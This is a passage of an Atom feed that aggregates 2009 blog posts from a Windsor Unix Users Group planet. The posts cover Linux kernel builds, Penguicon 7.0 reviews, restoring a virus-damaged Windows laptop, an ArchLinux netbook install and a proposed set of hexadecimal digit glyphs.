    Ext CoreNew!&lt;/p&gt;
&lt;p&gt; This is a great service and if widely implemented should significantly speed your end user's experience as well  as reducing load on your own servers.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Good Luck with Linus's Kernel</title>
		<link href="http://blog.free.draisey.ca/node/88"/>
		<id>http://blog.free.draisey.ca/88 at http://blog.free.draisey.ca</id>
		<updated>2009-06-15T02:07:53+00:00</updated>
		<content type="html">&lt;p&gt;So I&amp;#039;ve had good luck with the kernel.org kernels.  Just compiled and rebooted into 2.6.30 and everything is working well.  I am using debian&amp;#039;s make-kpkg which will build and package a kernel into a linux-image deb package which is very handy for installing multiple concurrent kernels --- very handy for charging ahead with compiles without fearing that I might render my machine unbootable.  As long as my speculative kernel builds don&amp;#039;t hose any filesystems I can use bleeding edge kernels without fear.  I do a custom build which only support the hardware I actually have so new kernel drivers have no effect on the the actual kernel image I create, and by choosing conservative choices when I make oldconfig I have yet to build an unstable kernel.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">im not getting left out of this</title>
		<link href="http://nebajoth.livejournal.com/34132.html"/>
		<id>http://nebajoth.livejournal.com/34132.html</id>
		<updated>2009-05-07T19:34:38+00:00</updated>
		<content type="html">OK, everybody (&lt;a href=&quot;http://blog.madpython.com/2009/05/06/penguicon-70/&quot;&gt;xavier&lt;/a&gt;, &lt;span class=&quot;ljuser ljuser-name_ezod&quot;&gt;&lt;a href=&quot;http://ezod.livejournal.com/profile&quot;&gt;&lt;img src=&quot;http://l-stat.livejournal.com/img/userinfo.gif&quot; alt=&quot;[info]&quot; width=&quot;17&quot; height=&quot;17&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://ezod.livejournal.com/&quot;&gt;&lt;b&gt;ezod&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;) is getting on the bandwagon of reviewing Penguicon 7.0.  So yeah, here's what I took away from the whole thing.&lt;br /&gt;&lt;br /&gt;$50 for a whole weekend of free booze, my geek heroes talking about tech, and mingling crowds of geeks.  Absolute heaven.  There were furries, cosplayers, men dressed as women, board games, stormtroopers, goths with jingly fat bellies, people striding around in steampunk outfits, and a guy dressed as Jesus.&lt;br /&gt;&lt;br /&gt;And that Jesus person was witness to me calling Eric Raymond an &quot;arrogant elitist bastard&quot; at the top of my drunken lungs.  Which is a lot; I have a loud voice.  Especially when I've been DRINKING.&lt;br /&gt;&lt;br /&gt;There were 16 year old girls with ears and tails leading each other around with leashes.  NO, nebajoth.  NO.&lt;br /&gt;&lt;br /&gt;Suckers stood in line for 3+ hours to get some salty beef cooked on a BBQ.  I'm convinced they only thought it was worth it because &quot;Brazil&quot; has become synonymous with both Terry Gilliam and Open Source, so &quot;Brazilian Beef&quot; hit all sorts of pleasure centers in their brain.  I can't explain missing 3 hours of primetime geek seminars in the middle of Saturday otherwise.&lt;br /&gt;&lt;br /&gt;We originally had tickets, but we redeemed them after watching the line for about 3 minutes.&lt;br /&gt;&lt;br /&gt;There were dudes with PVC swords who would only let me pick one up after I promised not to swing it.  He said it was made out of GRAY PVC which is MUCH MORE DANGEROUS THAN WHITE PVC.  WHAT.&lt;br /&gt;&lt;br /&gt;I volunteered at the con, earning WHUFFIE.  Enough WHUFFIE, in fact, to go free next year.  Woo!  In order to get enough hours (8), I helped set up the Steampunk Masquerade and manned Operations in the wee hours of the morning.  Not so bad when there's beer and hot cosplay chix to chat up.&lt;br /&gt;&lt;br /&gt;OK OK OK... you want to know about the panels?  Well, do you really?&lt;br /&gt;&lt;br /&gt;Well, QUICKLY:  the lightning talks were awesome.  Jorge Castro from Ubuntu has a posse, and they all wear heavy metal shirts.  He did a thing on the bells and whistles the Ubuntu default for GNU Screen, and how useful they are for server administrators.  COOL.&lt;br /&gt;&lt;br /&gt;Kyle Rankin is probably going to eat the internet, and his talk on DNS servers, undertitled &quot;How to take down the Internet in 13 Easy Steps&quot; was particularly informative.&lt;br /&gt;&lt;br /&gt;There was a talk on nanotech that totally kicked ass.  I ended up going because nobody showed up to show off the glitz of &quot;The Upcoming Linux Desktop&quot;, and it was right next door.  It was intensely interesting, and the guy really knew his stuff -- probably learned the most in that seminar.&lt;br /&gt;&lt;br /&gt;I think my favourite part of the whole con was when I popped into teh Karaoke room on Friday and there was dude fucking SCREAMING &quot;My Way&quot; by Frank Sinatra.  Like, gutteral throat-screaming metal style.&lt;br /&gt;&lt;br /&gt;It was awesome.</content>
		<author>
			<name>Dylan Herbert</name>
			<uri>http://nebajoth.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">nebajoth</title>
			<subtitle type="html">nebajoth - LiveJournal.com</subtitle>
			<link rel="self" href="http://nebajoth.livejournal.com/data/rss?tag=wuug"/>
			<id>http://nebajoth.livejournal.com/data/rss?tag=wuug</id>
			<updated>2010-01-23T06:00:10+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Penguicon 7.0</title>
		<link href="http://blog.madpython.com/2009/05/06/penguicon-70/"/>
		<id>http://blog.madpython.com/?p=47</id>
		<updated>2009-05-07T02:11:28+00:00</updated>
		<content type="html">&lt;p&gt;Our little gang from the &lt;a href=&quot;http://www.wuug.org&quot;&gt;Windsor Unix Users Group&lt;/a&gt; just got back from &lt;a href=&quot;http://www.penguicon.org&quot;&gt;Penguicon 7.0&lt;/a&gt; on Sunday night. As always, it was so much fun we hardly managed to get any sleep, and we all came home with a lot of really fun memories. &lt;/p&gt;
&lt;p&gt;I didn&amp;#8217;t get around to sit down and come up with a write-up about the experience as i&amp;#8217;ve been working on other projects every evening this week, but I finally have a minute to do so now.&lt;/p&gt;
&lt;p&gt;As far as the convention event itself went, there is definitely a lot of good and a few notable logistical oversights that are worth mentioning, but i&amp;#8217;m not really interested in addressing either on here, as I&amp;#8217;m really more interested in sharing my impression of the technical panels I&amp;#8217;ve attended.&lt;/p&gt;
&lt;p&gt;I have to say, I&amp;#8217;m very excited about every single one of the panels I&amp;#8217;ve been able to attend this year. They were all highly informative, and the speakers very motivated and passionate about their material. Here&amp;#8217;s a short summary of the events I was especially excited about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Neural Networks&lt;/strong&gt;&lt;br /&gt;
This panel was held by &lt;em&gt;Dr. Stanley C. Mortel&lt;/em&gt;. It explained the basic concepts behind the idea of building and training neural computation networks. It was a very abstract fly-by course, which I feel is a very appropriate way to introduce this type of material. There was a second part of this panel available the next day but we weren&amp;#8217;t fortunate enough to attend it.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reading by Will Wheaton&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Just kidding  &lt;img src=&quot;http://blog.madpython.com/wp-includes/images/smilies/icon_wink.gif&quot; alt=&quot;;)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Beginning PyGame Programming&lt;/strong&gt;&lt;br /&gt;
This tutorial by &lt;em&gt;Craig Maloney&lt;/em&gt; was my first real introduction to PyGame. Craig had a nice little demo environment all set up and ready for the presentation. He flew pretty quickly through many of the concepts behind PyGame while writing a Pong demo. Although he went through the material pretty quickly, I&amp;#8217;m very interested in learning more about the platform as a result, so it&amp;#8217;s safe to say the tutorial was a success as far as I&amp;#8217;m concerned.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open Hardware with Arduino&lt;/strong&gt;&lt;br /&gt;
The speaker for this talk was &lt;em&gt;W Craig Trader&lt;/em&gt;, and I have to say Craig was not only extremely knowledgeable about the Arduino (and obviously several other) platform, but also pretty excited about it, and since microcontrolers isn&amp;#8217;t something I&amp;#8217;ve ever bothered to learn anything about, I really didn&amp;#8217;t expect to get so excited about the talk. The Arduino platform appears to be very accessible technically and financially, and also pretty powerful. Craig did an amazing job showing us the strengths and weaknesses of the platform and getting our whole group pretty excited to play with it!
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High Performance PHP&lt;/strong&gt;&lt;br /&gt;
This talk held by &lt;em&gt;Rasmus Lerdorf&lt;/em&gt;, the creator of PHP and an infrastructure architect at Yahoo! Inc., took us through several performance optimization techniques for PHP apps, although many of the concepts featured in the talk could easily be applied to any apache-based app. It was very refreshing to finally see someone as experienced and well-rounded as him go through the tribulations of identifying and addressing performance bottlenecks in PHP apps. I was very interested in both the individual techniques highlighted during the talk, as well as the problem-solving process of a highly experienced software engineer, so that talk was the highlight of the con for me.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unfortunately, due to very unfortunate logistical shortcomings, our group was unable to attend a lot of the panels we were looking forward to check out, but despite this, the con was a resounding success in every aspect you can think of. I&amp;#8217;ve met some really cool and interesting people, learned a lot of very exciting stuff that will be guiding some of my personal research for months to come, learned some technical concepts that will directly impact my work performance, and had way too much fun.&lt;/p&gt;
&lt;p&gt;The next stop on our list will probably be PyOhio. We had a chance to chat with &lt;a href=&quot;http://catherinedevlin.blogspot.com/&quot;&gt;Catherine Devlin&lt;/a&gt;, a fellow Pythonista &amp;#038; Oracle geek from IntelliTech Systems, who told us about it, and Aaron and I are looking into putting together a talk proposal for the con, if we can come up with it before the deadline, and we already have some pretty interesting ideas, so I&amp;#8217;m looking forward to it. I&amp;#8217;d also really love to attend PyCon 2010 in Atlanta!&lt;/p&gt;
&lt;p&gt;If you&amp;#8217;re interested in attending a convention where Linux and FOSS enthusiasts get a chance to have fun with the Sci-Fi crowd for a weekend of fun,  &lt;a href=&quot;http://www.penguicon.org&quot;&gt;PenguiCon&lt;/a&gt; is definitely for you!!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F05%2F06%2Fpenguicon-70%2F&amp;amp;linkname=Penguicon%207.0&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;No related posts.&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">dell tech support</title>
		<link href="http://blog.free.draisey.ca/node/87"/>
		<id>http://blog.free.draisey.ca/87 at http://blog.free.draisey.ca</id>
		<updated>2009-04-27T20:21:36+00:00</updated>
		<content type="html">&lt;p&gt;I like &lt;cite&gt;dell&lt;/cite&gt;.  They seem to have good solid engineering --- I've never had any trouble with their hardware (I am much more impressed by reliability then by by cutting-edge performance).  I don't approve of the baroque PC design or the even more baroque Windows OS that they inevitably ship with but, realistically, I can't avoid them (I've never had any hesitation in erasing Windows on my own systems)  I've ordered quite a few things though dell over the years but have never needed technical support until I helped a virus take over the Windows XP OS on a nice (until a week ago) 4 year old inspiron 700m.  It wouldn't have been so bad if it was my computer but I was wiping the personal data off it for another so it can be used by a humanitarian project in Cambodia (just because I'm nice and my sister asked me to) and replacing XP with debian just wont do.  So, I am in possession of a computer that needs to run XP, the XP on disk has been irretrievably corrupted as was the on-disk recovery partition, I am not the owner on file for the computer, the hardware is out of warranty, I don't have my own XP installation disk and I have a one-week deadline to get this thing working again before I have to give it back.&lt;/p&gt;
&lt;p&gt;So I need tech support to ship me a Windows XP disk to restore this machine to its pristine state in circumstances that are less than ideal.  But the experience was relatively painless and the CD is in the mail.  I wasn't like being enveloped by a loving parent.  The first couple of attempts on Friday were abortive.  The contact form via the dell.ca web page had a little Canadian flag on it and asked for my address complete with province and postal code but was redirected to US tech support who emailed their apologies and directed me to telephone support.  Automated telephone systems are just generally horrible, but I didn't have to wait forever and eventually got to where I needed to be but something went astray on Friday and the contact info I left probably was mangled with the help of a poor telelphone line.&lt;/p&gt;
&lt;p&gt;Trying again on Monday was much better (a minor hiccup in finding out a married name) but nothing painful.  Tech support was incredibly supportive in fact.&lt;/p&gt;
&lt;p&gt;Everyone loves to hate tech support.  Almost everyone --- tech support made my day.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Restoring a Windows Machine</title>
		<link href="http://blog.free.draisey.ca/node/86"/>
		<id>http://blog.free.draisey.ca/86 at http://blog.free.draisey.ca</id>
		<updated>2009-04-24T03:25:18+00:00</updated>
		<content type="html">&lt;p&gt;cross posted this from the wuug mailing list&lt;br /&gt;
---&lt;/p&gt;
&lt;p&gt;I took off more than I could chew when I offered to clean off the&lt;br /&gt;
personal data of a donated dell inspiron 700m (circa 2005).  I ended up&lt;br /&gt;
destroying the Windows OS.  A virus had already removed the Windows&lt;br /&gt;
restore points and somehow disabled the factory install restore&lt;br /&gt;
partitions, even though there was no current infection of core OS --- a&lt;br /&gt;
fact I hadn&amp;#039;t fully grokked before I charged on regardless.  It appears&lt;br /&gt;
the working antivirus software had managed to isolate the offending&lt;br /&gt;
virus before it had shut down and on subsequent reboots it was operating&lt;br /&gt;
cleanly with the exception of a broken network subsystem and some&lt;br /&gt;
weirdness with the battery.&lt;/p&gt;
&lt;p&gt;I had managed to restore the network and updated the Anitvirus software&lt;br /&gt;
and uploaded overdue  security updates --- I thought I was doing OK but&lt;br /&gt;
had in fact released more viral code.  I just don&amp;#039;t get the Windows&lt;br /&gt;
mindset.  On reboot the machine was lost.  A particularly nasty piece of&lt;br /&gt;
code.  It allowed the machine to run with only a slight delay at boot&lt;br /&gt;
time but was in fact spreading itself throughout the filesystem and a&lt;br /&gt;
few places beyond.  Surprisingly the &amp;quot;safe mode&amp;quot; boot option seemed to&lt;br /&gt;
work OK and through that I tried to patch the system with a downloaded&lt;br /&gt;
version of Windows XP Service Pack 3.  That was a no no.  Now it wont&lt;br /&gt;
boot even to safe mode.&lt;/p&gt;
&lt;p&gt;I realize this is the wrong forum to be posting a request for help on&lt;br /&gt;
Windows computers, but the whole mindset is so strange I hope to find&lt;br /&gt;
the responses on the WUUG list more comprehensible.&lt;/p&gt;
&lt;p&gt;This machine is set to go to Cambodia for a humanitarian project.  The&lt;br /&gt;
Cambodians use Windows exclusively (poor sods --- something to do with&lt;br /&gt;
their alphabet) and so it seems the hard drive really needs to be zeroed&lt;br /&gt;
and a new Windows XP OS installed.  I have tried ordering a recovery CD&lt;br /&gt;
directly from dell and have yet to hear back whether that shall be&lt;br /&gt;
successful.  Presuming I can get the machine specific OS install CD, there is still&lt;br /&gt;
the issue of all the software installed.  That is just as lost as the OS.&lt;/p&gt;
&lt;p&gt;Now I can boot the machine using a linux CD and grab any data I need,&lt;br /&gt;
but have no idea what to look for.  If I grab the registry will I be&lt;br /&gt;
able to extract the product keys and so reinstall MS Office 2003?  I am&lt;br /&gt;
sure I can get my hands on a copy of the installation media.&lt;/p&gt;
&lt;p&gt;And what about other software?  Man, Windows is a pain.  I am glad I&lt;br /&gt;
didn&amp;#039;t have to preserve data.  I would be crying now.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Gentoo File Manager</title>
		<link href="http://blog.free.draisey.ca/node/85"/>
		<id>http://blog.free.draisey.ca/85 at http://blog.free.draisey.ca</id>
		<updated>2009-04-24T02:41:18+00:00</updated>
		<content type="html">&lt;p&gt;My favourite file manager has been upgraded for &lt;cite&gt;gtk2&lt;/cite&gt; and I couldn't be happier.  The &lt;cite&gt;gtk1&lt;/cite&gt; version that is installed in &lt;cite&gt;Lenny&lt;/cite&gt; is terminally broken and, as a result, I have been trying to use other file managers without much joy..  The &lt;cite&gt;gtk2&lt;/cite&gt; version has been out for several months but today's code dump (version 0.15.4) is stable enough to warrant a post to the blog.&lt;/p&gt;
&lt;p&gt;The &lt;dfn&gt;Gentoo file manager&lt;/dfn&gt; [&lt;a href=&quot;http://www.obsession.se/gentoo/&quot;&gt;http://www.obsession.se/gentoo/&lt;/a&gt;] doesn't do drag-and-drop, it doesn't do tree views, it doesn't do previews, it doesn't do many of things of modern flashy file browsers do --- and is all the better for it (those things are nice but I don't really miss them)  The things it does do it does very well.  Even better it avoids the worst sins of more &quot;modern&quot; file managers that drive me space  --- things such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;executing files when the exec bit set instead of openning them for edit&lt;/li&gt;
&lt;li&gt;choking on large directories&lt;/li&gt;
&lt;li&gt;providing a convenient drag-and-drop way of moving files and then totally screwing up the implementation by making dragging into a list view which contains directories almost always move the files into the subdirectories rather than into the displayed directory&lt;/li&gt;
&lt;li&gt;using drop down menus --- for a file browser!&lt;/li&gt;
&lt;li&gt;not providing a convenient way to run shell commands or to open a terminal using the directory displayed&lt;/li&gt;
&lt;li&gt;making file recognition so convoluted and compounding the poor design by using a central mime database common to all programmes making it share behaviour with the web browser&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;cite&gt;Gentoo&lt;/cite&gt; provides a two directory pane listing with sticky togglling of selections, A pile of operations you can do in or across directories, highly customizable file recognition, easy extension and generally gets out of the way of doing real work.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">ArchLinux Adventures – Part 1</title>
		<link href="http://www.allthingsexpounded.com/2009/04/archlinux-adventures-part-1/"/>
		<id>http://www.allthingsexpounded.com/?p=527</id>
		<updated>2009-04-21T00:19:45+00:00</updated>
		<content type="html">&lt;p&gt;I have an Aspire One netbook, and thus far I&amp;#8217;ve used the stock Linux distribution. Due to some persuasion from my nephew, I decided to give ArchLinux a spin.  My objective is to get going with a simple, quick, flexible, and hopefully not too bloated install of Linux.&lt;/p&gt;
&lt;p&gt;Specs of the system&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Processor: Intel Atom CPU N270 @ 1.60GHZ&lt;/p&gt;
&lt;p&gt;1GB RAM&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://www.archlinux.org/&quot;&gt;ArchLinux&lt;/a&gt;, is touted as a &amp;#8220;simple, lightweight linux distribution&amp;#8221;. And this seems generally true. It isn&amp;#8217;t simple in the sense of being &amp;#8220;dumbed down&amp;#8221;, but rather in terms of being uncluttered and generally uncomplicated for a person of intermediate or advanced Linux experience. The installer is minimalistic, but rather effective. It could be a bit more usable and intuitive, but generally it is not at all hard to figure out.  I chose the &amp;#8220;core&amp;#8221; installer, which requires a network connection to fetch the packages you install.&lt;/p&gt;
&lt;p&gt;ArchLinux uses pacman. I was not crazy about this to begin with, but now I find it to be a reasonably functional and handy package management system. I decided to use XFCE for my desktop environment, as I figured this would be the best desktop environment all things considered (the laptop only has 1GB of RAM). There were a concerning amount of loose ends after I retrived and installed the packages I wanted, but nothing that couldn&amp;#8217;t be overcome with a bit of tinkering. I was able to get XFCE, my wireless network card, the built-in web cam, and what not working.&lt;/p&gt;
&lt;p&gt;Some software I&amp;#8217;ve installed:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Linux Kernel: 2.6.29&lt;/p&gt;
&lt;p&gt;Desktop Environment: XFCE4&lt;/p&gt;
&lt;p&gt;Web Browser: Firefox 3.0.8&lt;/p&gt;
&lt;p&gt;Multimedia: Mplayer, Cheese (Web Cam) 2.26.0, Audacity 1.3.7, gimp 2.6.6&lt;/p&gt;
&lt;p&gt;Office: AbiWord 2.6.8, GnuCash 2.2.9&lt;/p&gt;
&lt;p&gt;Development: Python 2.6.1, GCC 4.3.3&lt;/p&gt;
&lt;p&gt;Editor: vim/gvim 7.2&lt;/p&gt;
&lt;p&gt;Other Software: FileZilla 3.2.3, Nmap 4.76, XPDF, Putty 0.60, freemind 0.8.1, sshfs 2.2&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I&amp;#8217;ve timed a few operations, and here are the findings:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;From Reboot to Console Login Prompt : 25 seconds&lt;/p&gt;
&lt;p&gt;XFCE Load: 11 seconds&lt;/p&gt;
&lt;p&gt;Load GIMP: 7 seconds&lt;/p&gt;
&lt;p&gt;Compile nmap 4.85BETA7 with GCC: 3.5 minutes&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;There are definately still some loose ends that need to be fixed up before I feel really comfortable with this setup, but so far so good! I&amp;#8217;m having fun. I really haven&amp;#8217;t experimented with other distros since I&amp;#8217;ve settled on Ubuntu (which still is my distribution of choice for regularly-powered systems).  I will post some more about this in the future.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">A Design for Hexadecimal Digits</title>
		<link href="http://blog.free.draisey.ca/node/84"/>
		<id>http://blog.free.draisey.ca/84 at http://blog.free.draisey.ca</id>
		<updated>2009-04-18T01:59:42+00:00</updated>
		<content type="html">&lt;p&gt;&amp;lt;!--break--&gt;&lt;br /&gt;
0 1 2 3 4 5 6 7 8 9 A B C D E F --- how ugly mixing letters and digits together like that.  In order to remain consistent with the 10 decimal digits that are independent from the alphabet, we really need 6 more digit-like characters for hexdecimal numbers.  To this end I have been considering what these digits should look like.  Having some resemblence to the letters A-F or their lowercase equivalents is clearly desirable but not essential.  Using the forms of existing digits so they look in place seems reasonable, so long as the digits are clearly distinguishable from each other.&lt;/p&gt;
&lt;p&gt;Suggestively B (eleven = 8 + 3) looks like its octal representation 13.  F (fifteen = 8 + 7 = octal 17) looks like a mirrored 7  crossed in the european style.  If we munge 1 and 5 together the result looks kind of like a D or a d with a decoration on top  (D = thirteen = 8 + 5 = octal 15).  So we have the basis of character representation for hexadecimal digits taking its inspiration from octal --- very nice.&lt;/p&gt;
&lt;p&gt;To express A, C and E in terms of octal 12, 14 and 16 requires a greater suspension of dsibelief (a facility in which I personally excel).&lt;/p&gt;
&lt;p&gt;If you rotate a digit 2 around its vertical axis and add a short stem on the bottom you end up with an &lt;a href=&quot;http://en.wikipedia.org/wiki/Ankh&quot;&gt;ankh&lt;/a&gt; (cf &lt;a href=&quot;http://en.wikipedia.org/wiki/Ankh-morpork&quot;&gt;the Ankh-Morpork coat of arms&lt;/a&gt;).  This is a very fortuitous symbol and just so happens to start with the letter A.  I think that the ankh an excellent symbol to represent this much preferred number (ten = 8 + 2 = octal 12).&lt;/p&gt;
&lt;p&gt;C (twelve = 8 + 4 = octal 12) will give us much more trouble.  It's hard to superimpose reflected or rotated versions of the digit 4 without yielding and unreadable mess.  I have abandoned any attempt to do so and have chosen to represent C directly with a bar throught in the style of the symbol for cents.  Hexadecimal numbers and representation a purely decimal currency would never be found together so this doesn't present any possibilities of confusion.&lt;/p&gt;
&lt;p&gt;E (fourteen = 8 + 6 = octal 16) is also troublesome.  There is plenty of opportunity of forming interesting conjunctions of 1 and reflected and rotated versions of 6, but none are obviously superior to the others.  I copped out and chose a reflected version of 'B'  which has the virtue of looking a great deal like a barred curvy E a la ESSO.  A euro currency symbol might also work here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.free.draisey.ca/sites/free-files/HexadecimalDigits.png&quot; height=&quot;81&quot; width=&quot;368&quot; title=&quot;hexadecimal digits realized&quot; alt=&quot;hexadecimal digits realized&quot; /&gt;&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">If The Philosophers Were Programmers</title>
		<link href="http://www.allthingsexpounded.com/2009/04/if-the-philosophers-were-programmers/"/>
		<id>http://www.allthingsexpounded.com/?p=521</id>
		<updated>2009-04-17T17:52:27+00:00</updated>
